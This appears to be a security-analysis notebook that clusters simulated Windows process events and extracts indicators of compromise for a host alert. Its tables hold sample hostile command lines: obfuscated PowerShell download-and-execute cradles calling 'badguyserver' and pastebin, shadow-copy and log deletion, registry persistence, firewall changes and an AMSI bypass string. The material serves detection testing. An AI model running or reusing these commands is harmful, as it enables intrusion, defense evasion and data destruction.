95 | 2019-01-15 05:15:10.817 | 2019-01-15 05:15:14.453 | C:\Windows\System32\svchost.exe | C:\Windows\system32\svchost.exe -k wsappx | 2.0 | 8 | 3040 | True |
96 | 2019-01-15 05:15:11.190 | 2019-01-15 05:15:14.453 | C:\Windows\System32\win32calc.exe | "C:\Windows\System32\win32calc.exe" | 28.0 | 8 | 3100 | False |
122 | 2019-01-15 05:15:11.947 | 2019-01-15 05:15:14.563 | C:\Diagnostics\UserTmp\implant.exe | implant.exe k111 | 7.0 | 3 | 3390 | False |
125 | 2019-01-15 05:15:12.123 | 2019-01-15 05:15:14.157 | C:\Diagnostics\UserTmp\cmd.exe | cmd /c "echo Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme" | 3.0 | 21 | 2941 | False |
130 | 2019-01-15 05:15:12.393 | 2019-01-15 04:45:24.523 | C:\Diagnostics\UserTmp\powershell.exe | .\powershell -Noninteractive -Noprofile -Command "Invoke-Expression Get-Process; Invoke-WebRequ... | 1.0 | 25 | 3726 | False |
139 | 2019-01-15 05:15:12.847 | 2019-01-15 04:45:24.523 | C:\Diagnostics\UserTmp\powershell.exe | .\powershell -command "(New-Object Net.WebClient).DownloadString(('ht'+'tp://pasteb' + 'bin/'+'... | 1.0 | 36 | 3726 | False |
104 | 2019-01-15 05:15:12.977 | 2019-01-15 05:15:19.583 | C:\Diagnostics\UserTmp\powershell.exe | .\powershell -command {(n`EW-obJ`E`cT N`et`.W`eb`C`li`en`t).DownloadFile('https://blah/png','go... | 2.0 | 24 | 3726 | False |
106 | 2019-01-15 05:15:13.100 | 2019-01-15 04:45:24.523 | C:\Diagnostics\UserTmp\powershell.exe | .\powershell.exe -c "$a = 'Download'+'String'+"(('ht'+'tp://paste'+ 'bin/'+'raw/'+'pqCwEm17'))"... | 1.0 | 68 | 3726 | False |
108 | 2019-01-15 05:15:13.220 | 2019-01-15 04:45:24.523 | C:\Diagnostics\UserTmp\powershell.exe | .\powershell -c {IEX (New-Object Net.WebClient).DownloadString(('ht'+("{2}{0}{1}"-f ':/','/past... | 1.0 | 53 | 3726 | False |
110 | 2019-01-15 05:15:13.337 | 2019-01-15 04:45:24.523 | C:\Diagnostics\UserTmp\cmd.exe | cmd /c ".\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy BYpa^sS i^mPOr^T-^M^oDuLE biTsTr^ANSFe^R;^S^t... | 1.0 | 46 | 2941 | False |
142 | 2019-01-15 05:15:15.233 | 2019-01-15 05:15:14.770 | C:\Windows\System32\whoami.exe | whoami | 3.0 | 0 | 2907 | False |
149 | 2019-01-15 05:15:15.520 | 2019-01-15 05:15:15.923 | C:\Windows\System32\net.exe | net group "Domain Admins" /domain | 2.0 | 8 | 2589 | False |
162 | 2019-01-15 05:15:16.020 | 2019-01-15 04:45:24.523 | C:\Diagnostics\UserTmp\cmd.exe | cmd /c C:\Windows\System32\mshta.exe vbscript:CreateObject("Wscript.Shell").Run(".\powershell.e... | 1.0 | 56 | 2941 | False |
163 | 2019-01-15 05:15:16.067 | 2019-01-15 04:45:24.523 | C:\Diagnostics\UserTmp\netsh.exe | .\netsh advfirewall firewall add rule name=RbtGskQ action=allow program=c:\users\Bob\appdata\Ro... | 1.0 | 18 | 3179 | False |
46 | 2019-01-15 05:15:16.167 | 2019-01-15 04:45:24.523 | C:\Diagnostics\UserTmp\reg.exe | .\reg not /domain:everything that /sid:shines is /krbtgt:golden ! | 1.0 | 16 | 2951 | False |
47 | 2019-01-15 05:15:16.277 | 2019-01-15 05:15:14.613 | C:\Diagnostics\UserTmp\cmd.exe | cmd /c "systeminfo && systeminfo" | 23.0 | 10 | 2941 | False |
48 | 2019-01-15 05:15:16.340 | 2019-01-15 05:15:14.293 | C:\Diagnostics\UserTmp\rundll32.exe | .\rundll32 /C 12345.exe | 15.0 | 7 | 3391 | False |
49 | 2019-01-15 05:15:16.353 | 2019-01-15 05:15:16.520 | C:\Diagnostics\UserTmp\12345.exe | 12345.exe | 3.0 | 1 | 2888 | False |
56 | 2019-01-15 05:15:16.563 | 2019-01-15 05:15:18.403 | C:\Diagnostics\UserTmp\reg.exe | .\reg.exe add \hkcu\software\microsoft\some\key\Run /v abadvalue | 3.0 | 15 | 2951 | False |
57 | 2019-01-15 05:15:16.613 | 2019-01-15 04:45:24.523 | C:\Diagnostics\UserTmp\tsetup.1.exe | c:\Diagnostics\UserTmp\tsetup.1.exe C:\Users\MSTICAdmin\AppData\Local\Temp\2\is-01DD7.tmp\tsetu... | 1.0 | 40 | 3405 | False |
59 | 2019-01-15 05:15:16.677 | 2019-01-15 04:45:24.523 | C:\Diagnostics\UserTmp\netsh.exe | .\netsh.exe "in (*.exe) do start # artificial commandline solely for purposes of triggering test" | 1.0 | 22 | 3179 | False |
60 | 2019-01-15 05:15:16.720 | 2019-01-15 05:15:15.880 | C:\Diagnostics\UserTmp\cmd.exe | .\cmd /c "cd /d "C:\inetpub\wwwroot"&powershell Set-ExecutionPolicy RemoteSigned&echo [S]&cd&ec... | 3.0 | 25 | 2941 | False |
61 | 2019-01-15 05:15:16.767 | 2019-01-15 04:45:24.523 | C:\Diagnostics\UserTmp\cmd.exe | .\cmd /c "cd /d "C:\inetpub\wwwroot"&powershell Enable-WSManCredSSP =2013Role Server -force&ech... | 1.0 | 28 | 2941 | False |
62 | 2019-01-15 05:15:16.807 | 2019-01-15 04:45:24.523 | C:\Diagnostics\UserTmp\cmd.exe | .\cmd /c "cd /d "C:\inetpub\wwwroot"&powershell winrm set winrm/config/service/Auth @{Kerberos=... | 1.0 | 31 | 2941 | False |
63 | 2019-01-15 05:15:16.850 | 2019-01-15 05:15:17.580 | C:\Diagnostics\UserTmp\cmd.exe | .\cmd /c "cd /d "C:\ProgramData"© \\[REDACTED]\c$\users\[REDACTED]\Documents\"Password Chan... | 2.0 | 29 | 2941 | False |
64 | 2019-01-15 05:15:16.893 | 2019-01-15 04:45:24.523 | C:\Diagnostics\UserTmp\cmd.exe | .\cmd /c "cd /d "C:\inetpub\wwwroot"&c:\windows\system32\inetsrv\appcmd set config "Default Web... | 1.0 | 41 | 2941 | False |
65 | 2019-01-15 05:15:16.967 | 2019-01-15 04:45:24.523 | C:\Diagnostics\UserTmp\cmd.exe | .\cmd /c "cd /d "C:\inetpub\wwwroot"&del C:\inetpub\logs\logFiles\W3SVC1\*.log /q&echo [S]&cd&e... | 1.0 | 32 | 2941 | False |
67 | 2019-01-15 05:15:17.077 | 2019-01-15 05:15:19.617 | C:\Diagnostics\UserTmp\sdopfjiowtbkjfnbeioruj.exe | c:\Diagnostics\UserTmp\sdopfjiowtbkjfnbeioruj.exe | 9.0 | 6 | 5005 | False |
68 | 2019-01-15 05:15:17.127 | 2019-01-15 05:15:18.630 | C:\Diagnostics\UserTmp\doubleextension.pdf.exe | c:\Diagnostics\UserTmp\doubleextension.pdf.exe | 7.0 | 7 | 4617 | False |
69 | 2019-01-15 05:15:17.137 | 2019-01-15 05:15:12.067 | C:\Windows\System32\vssadmin.exe | vssadmin delete shadows /all /quiet | 4.0 | 7 | 3131 | False |
169 | 2019-01-15 05:15:17.410 | 2019-01-15 05:15:14.640 | C:\Diagnostics\UserTmp\svchost.exe | c:\Diagnostics\UserTmp\svchost.exe | 6.0 | 6 | 3411 | False |
171 | 2019-01-15 05:15:17.493 | 2019-01-15 04:45:24.523 | C:\Windows\System32\svchost.exe | c:\Windows\System32\svchost.exe -k malicious | 1.0 | 9 | 3040 | False |
176 | 2019-01-15 05:15:18.080 | 2019-01-15 04:45:24.523 | C:\Diagnostics\UserTmp\wuauclt.exe | .\wuauclt.exe /C "c:\windows\softwaredistribution\cscript.exe" | 1.0 | 14 | 3406 | False |
190 | 2019-01-15 05:15:18.287 | 2019-01-15 05:15:18.967 | C:\Diagnostics\UserTmp\lsass.exe | .\lsass.exe /C "c:\windows\softwaredistribution\cscript.exe" | 2.0 | 14 | 3183 | False |
193 | 2019-01-15 05:15:18.337 | 2019-01-15 05:02:28.260 | C:\Diagnostics\UserTmp\cmd.exe | cmd /c "powershell wscript.shell used to download a .gif" | 5.0 | 14 | 2941 | False |
195 | 2019-01-15 05:15:18.450 | 2019-01-15 04:45:24.523 | C:\Diagnostics\UserTmp\cmd.exe | cmd /c "cd /d "C:\inetpub\wwwroot"&c:\windows\system32\inetsrv\appcmd set config "Default Web S... | 1.0 | 39 | 2941 | False |
198 | 2019-01-15 05:15:18.553 | 2019-01-15 04:45:24.523 | C:\Diagnostics\UserTmp\cmd.exe | cmd /c echo " SYSTEMINFO && SYSTEMINFO && DEL " | 1.0 | 17 | 2941 | False |
211 | 2019-01-15 05:15:19.223 | 2019-01-15 05:15:19.337 | C:\Diagnostics\UserTmp\hd.exe | hd.exe -pslist | 2.0 | 4 | 2837 | False |
219 | 2019-01-15 05:15:20.623 | 2019-01-15 04:45:24.523 | C:\Windows\System32\wermgr.exe | C:\Windows\system32\wermgr.exe -upload | 1.0 | 7 | 2922 | True |
0 | 2019-01-15 05:24:24.010 | 2019-01-15 04:46:24.017 | C:\Program Files\Microsoft Monitoring Agent\Agent\Health Service State\CT_602681692\NativeDSC\De... | "C:\Program Files\Microsoft Monitoring Agent\Agent\Health Service State\CT_602681692\NativeDSC\D... | 35.0 | 52 | 12225 | True |
1 | 2019-01-15 05:24:24.023 | 2019-01-15 04:46:24.033 | C:\Windows\System32\conhost.exe | \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 | 39.0 | 10 | 3028 | True |
2 | 2019-01-15 05:24:25.807 | 2019-01-15 04:46:25.800 | C:\Windows\SysWOW64\wbem\WmiPrvSE.exe | C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding | 38.0 | 10 | 3478 | True |
3 | 2019-01-15 05:24:26.010 | 2019-01-15 04:46:26.007 | C:\Windows\System32\cscript.exe | "C:\Windows\system32\cscript.exe" /nologo "MonitorKnowledgeDiscovery.vbs" | 71.0 | 13 | 3022 | True |
# Look at clusters for individual process names
def view_cluster(exe_name):
display(clus_events[['ClusterSize', 'processName', 'CommandLine', 'ClusterId']][clus_events['processName'] == exe_name])
view_cluster('reg.exe')
ClusterSize | processName | CommandLine | ClusterId | |
---|---|---|---|---|
46 | 1.0 | reg.exe | .\reg not /domain:everything that /sid:shines is /krbtgt:golden ! | -1.0 |
56 | 3.0 | reg.exe | .\reg.exe add \hkcu\software\microsoft\some\key\Run /v abadvalue | 7.0 |
# Show all clustered processes
# Create label with unqualified path
labelled_df = processes_on_host.copy()
labelled_df['label'] = labelled_df.apply(lambda x: x.NewProcessName.split(security_alert.path_separator)[-1], axis=1)
%matplotlib inline
#%matplotlib notebook
plt.rcParams['figure.figsize'] = (15,10)
nbdisp.plot_cluster(dbcluster, labelled_df, x_data, plot_label='label', plot_features=[0,1], verbose=False, cut_off=3,
xlabel='CmdLine Tokens', ylabel='Path Score');
# Show timeline of events - clustered events
nbdisp.display_timeline(data=clus_events, overlay_data=processes_on_host,
alert=security_alert, title='Distinct Host Processes (top) and All Proceses (bottom)')
This section looks for Indicators of Compromise (IoC) within the data sets passed to it.
The first section looks at the commandline for the alert process (if any). It also looks for base64 encoded strings within the data - this is a common way of hiding attacker intent. It attempts to decode any strings that look like base64. Additionally, if the base64 decode operation returns any items that look like a base64 encoded string or file, a gzipped binary sequence, a zipped or tar archive, it will attempt to extract the contents before searching for potentially interesting items.
process = security_alert.primary_process
ioc_extractor = sectools.IoCExtract()
if process:
# if nothing is decoded this just returns the input string unchanged
base64_dec_str, _ = sectools.b64.unpack_items(input_string=process["CommandLine"])
if base64_dec_str and '<decoded' in base64_dec_str:
print('Base64 encoded items found.')
print(base64_dec_str)
# any IoCs in the string?
iocs_found = ioc_extractor.extract(base64_dec_str)
if iocs_found:
print('\nPotential IoCs found in alert process:')
display(iocs_found)
else:
print('Nothing to process')
Potential IoCs found in alert process:
defaultdict(set, {'windows_path': {'.\\ftp', 'c:\\recycler\\xxppyy.exe'}})
You can replace the data=process_tree parameter to ioc_extractor.extract() to pass other data frames. use the columns parameter to specify which column or columns that you want to search.
ioc_extractor = sectools.IoCExtract()
ioc_df = ioc_extractor.extract(data=process_tree, columns=['CommandLine'], os_family=security_alert.os_family)
if len(ioc_df):
display(HTML("<h3>IoC patterns found in process tree.</h3>"))
display(ioc_df)
IoCType | Observable | SourceIndex | |
---|---|---|---|
0 | windows_path | C:\RECYCLER\xxppyy.exe | 0 |
1 | windows_path | .\ftp | 0 |
2 | windows_path | .\reg | 1 |
3 | windows_path | .\rundll32 | 3 |
4 | windows_path | c:\users\MSTICAdmin\12345.exe | 4 |
5 | windows_path | .\rundll32 | 4 |
6 | windows_path | .\rundll32 | 5 |
7 | windows_path | .\rundll32 | 6 |
8 | windows_path | c:\users\MSTICAdmin\1234.exe | 6 |
9 | windows_path | .\rundll32 | 7 |
10 | windows_path | .\reg.exe add \hkcu\software\microsoft\some\key\Run | 8 |
11 | dns | tsetup.1.exe | 9 |
12 | dns | tsetup.1.0.14.tmp | 9 |
13 | dns | tsetup.1.0.14.exe | 9 |
14 | windows_path | c:\Diagnostics\UserTmp\tsetup.1.exe | 9 |
15 | windows_path | C:\Users\MSTICAdmin\AppData\Local\Temp\2\is-01DD7.tmp\tsetup.1.0.14.tmp | 9 |
16 | windows_path | C:\Users\MSTICAdmin\Downloads\tsetup.1.0.14.exe | 9 |
17 | windows_path | .\rundll32.exe | 10 |
18 | windows_path | .\netsh.exe | 11 |
19 | windows_path | C:\inetpub\wwwroot | 12 |
20 | windows_path | .\cmd | 12 |
21 | windows_path | C:\inetpub\wwwroot | 13 |
22 | windows_path | .\cmd | 13 |
23 | windows_path | C:\inetpub\wwwroot | 14 |
24 | windows_path | .\cmd | 14 |
25 | windows_path | \\[REDACTED]\c$\users\[REDACTED]\Documents | 15 |
26 | windows_path | .\cmd | 15 |
27 | windows_path | C:\ProgramData | 15 |
28 | windows_path | c:\windows\system32\inetsrv\appcmd | 16 |
29 | windows_path | C:\inetpub\wwwroot | 16 |
30 | windows_path | .\cmd | 16 |
31 | windows_path | C:\inetpub\logs\logFiles\W3SVC1 | 17 |
32 | windows_path | C:\inetpub\wwwroot | 17 |
33 | windows_path | .\cmd | 17 |
34 | windows_path | c:\Diagnostics\UserTmp\perfc.dat | 18 |
35 | windows_path | c:\Diagnostics\UserTmp\sdopfjiowtbkjfnbeioruj.exe | 19 |
36 | dns | doubleextension.pdf.exe | 20 |
37 | windows_path | c:\Diagnostics\UserTmp\doubleextension.pdf.exe | 20 |
38 | windows_path | \C: | 22 |
39 | windows_path | \Windows\system32\conhost.exe | 22 |
40 | windows_path | c:\testshare | 26 |
41 | windows_path | \\MSTICAlertsWin1\TestShare | 27 |
42 | url | http://server/file.sct | 31 |
43 | dns | server | 31 |
44 | windows_path | .\regsvr32 | 31 |
45 | windows_path | .\suchost.exe | 32 |
46 | windows_path | .\evil.ps1; | 35 |
47 | windows_path | .\powershell.exe | 35 |
48 | windows_path | .\powershell | 36 |
49 | url | http://somedomain/best-kitten-names-1.jpg' | 37 |
50 | dns | somedomain | 37 |
51 | windows_path | \AppData\Local\Temp\kittens1.jpg'; | 37 |
52 | windows_path | C:\Users\$env:UserName | 37 |
53 | windows_path | .\pOWErS^H^ElL^.eX^e^ | 37 |
54 | windows_path | .\n^e^t | 38 |
55 | windows_path | .\powershell | 39 |
56 | md5_hash | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa | 40 |
57 | md5_hash | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa | 41 |
58 | md5_hash | 81ed03caf6901e444c72ac67d192fb9c | 44 |
59 | url | http://badguyserver/pwnme" | 46 |
60 | dns | badguyserver | 46 |
61 | url | http://badguyserver/pwnme" | 47 |
62 | dns | badguyserver | 47 |
63 | windows_path | .\powershell | 47 |
64 | windows_path | .\powershell | 48 |
65 | windows_path | .\powershell | 49 |
66 | windows_path | .\powershell | 50 |
67 | windows_path | .\rUnDlL32 | 58 |
68 | windows_path | .\reg query add mscfile\\\\open | 59 |
69 | windows_path | .\reg | 60 |
70 | windows_path | .\dubrute.exe | 61 |
71 | windows_path | .\nlbrute.exe | 62 |
72 | windows_path | .\reg | 63 |
73 | windows_path | \system\CurrentControlSet\Control\Terminal | 63 |
74 | windows_path | .\reg | 64 |
75 | windows_path | \system\CurrentControlSet\Control\Terminal | 64 |
76 | windows_path | \\tsclient\c | 65 |
77 | windows_path | \Microsoft\Windows\CurrentVersion Certificate).Certificate);.\powershell | 67 |
78 | windows_path | .\powershell.exe | 67 |
79 | windows_path | C:\Windows\System32\mshta.exe | 67 |
80 | windows_path | c:\users\Bob\appdata\Roaming\RbtGskQ\RbtGskQ.exe | 68 |
81 | windows_path | .\netsh | 68 |
82 | windows_path | .\reg add HKLM\KEY_LOCAL_MACHINE\...securityproviders\wdigest | 69 |
83 | windows_path | c:\Windows\System32\cmd.exe | 70 |
84 | windows_path | c:\Diagnostics\UserTmp\scrsave.scr | 71 |
85 | windows_path | c:\Diagnostics\UserTmp\svchost.exe | 72 |
86 | windows_path | c:\Diagnostics\UserTmp\smss.exe | 73 |
87 | windows_path | c:\Windows\System32\svchost.exe | 74 |
88 | dns | system.management.automation.amsiutils | 77 |
89 | dns | system.management.automation.amsiutils').getfield('amsiinitfailed','nonpublic,static').setvalue(... | 77 |
90 | url | http://system.management.automation.amsiutils').getfield('amsiinitfailed','nonpublic,static').se... | 77 |
91 | windows_path | .\powershell.exe | 77 |
92 | ipv4 | 1.2.3.4 | 78 |
93 | windows_path | C:\\Users\\user\\AppData\\Local\\Temp\\bzzzzzz.txt | 78 |
94 | windows_path | .\wuauclt.exe | 79 |
95 | windows_path | c:\windows\softwaredistribution\cscript.exe | 79 |
96 | windows_path | c:\windows\softwaredistribution\cscript.exe | 80 |
97 | windows_path | .\lsass.exe | 80 |
98 | windows_path | c:\windows\system32\wscript.exe | 82 |
99 | windows_path | c:\windows\system32\inetsrv\appcmd | 83 |
100 | windows_path | C:\inetpub\wwwroot | 83 |
101 | windows_path | c:\Diagnostics\UserTmp\2840.exe | 84 |
102 | windows_path | c:\Diagnostics\UserTmp\a_keygen.exe | 85 |
103 | windows_path | c:\Diagnostics\UserTmp\bittorrent.exe | 87 |
104 | windows_path | c:\Diagnostics\UserTmp\netsh.exe | 88 |
105 | windows_path | c:\Diagnostics\UserTmp\ransomware.exe | 90 |
106 | windows_path | \\server\payload.dll | 92 |
107 | windows_path | C:\Users\Administrator\AppData\Roaming\{RANDOM}.txt | 94 |
108 | ipv4 | 127.0.0.1 | 102 |
109 | url | http://127.0.0.1/ | 102 |
110 | windows_path | .\reg | 103 |
111 | windows_path | \SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\MyNastySvcHostConfig | 103 |
112 | windows_path | .\reg | 104 |
113 | windows_path | \SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\MyNastySvcHostConfig | 104 |
114 | windows_path | C:\Users\MSTICA~1\AppData\Local\Temp\hd.exe | 105 |
115 | windows_path | \\.\pipe\blahtest | 107 |
116 | windows_path | .\reg.exe | 108 |
117 | windows_path | \console | 108 |
118 | windows_path | c:\windows\fonts\csrss.exe | 109 |
119 | windows_path | c:\windows\fonts\conhost.exe | 110 |
120 | windows_path | .\mimikatz.exe | 111 |
121 | windows_path | .\rundll32.exe | 112 |
122 | windows_path | c:\windows\fonts\conhost.exe | 112 |
123 | windows_path | c:\windows\fonts\csrss.exe | 113 |
124 | windows_path | .\regsvr32 | 113 |
125 | windows_path | c:\Diagnostics\UserTmp | 115 |
126 | windows_path | c:\Diagnostics\WindowsSimulateDetections.bat | 115 |
127 | windows_path | C:\Windows\System32\win32calc.exe | 116 |
For simple strings the Base64 decoded output is straightforward. However for nested encodings this can get a little complex and difficult to represent in a tabular format.
Columns
dec_df = sectools.b64.unpack_items(data=process_tree, column='CommandLine')
if len(dec_df) > 0:
display(HTML("<h3>Decoded base 64 command lines</h3>"))
display(HTML("Warning - some binary patterns may be decodable as unicode strings"))
display(dec_df[['full_decoded_string', 'original_string', 'decoded_string', 'input_bytes', 'file_hashes']])
ioc_dec_df = ioc_extractor.extract(data=dec_df, columns=['full_decoded_string'])
if len(ioc_dec_df):
display(HTML("<h3>IoC patterns found in base 64 decoded data</h3>"))
display(ioc_dec_df)
ioc_df = ioc_df.append(ioc_dec_df ,ignore_index=True)
else:
print("No base64 encodings found.")
full_decoded_string | original_string | decoded_string | input_bytes | file_hashes | |
---|---|---|---|---|---|
0 | .\powershell -enc <decoded type='string' name='[None]' index='1' depth='1'>$ t = ' d i r ' ... | JAB0ACAAPQAgACcAZABpAHIAJwA7AA0ACgAmACAAKAAnAEkAbgB2AG8AawBlACcAKwAnAC0ARQB4AHAAcgBlAHMAcwBpAG8A... | $ t = ' d i r ' ; \r \n & |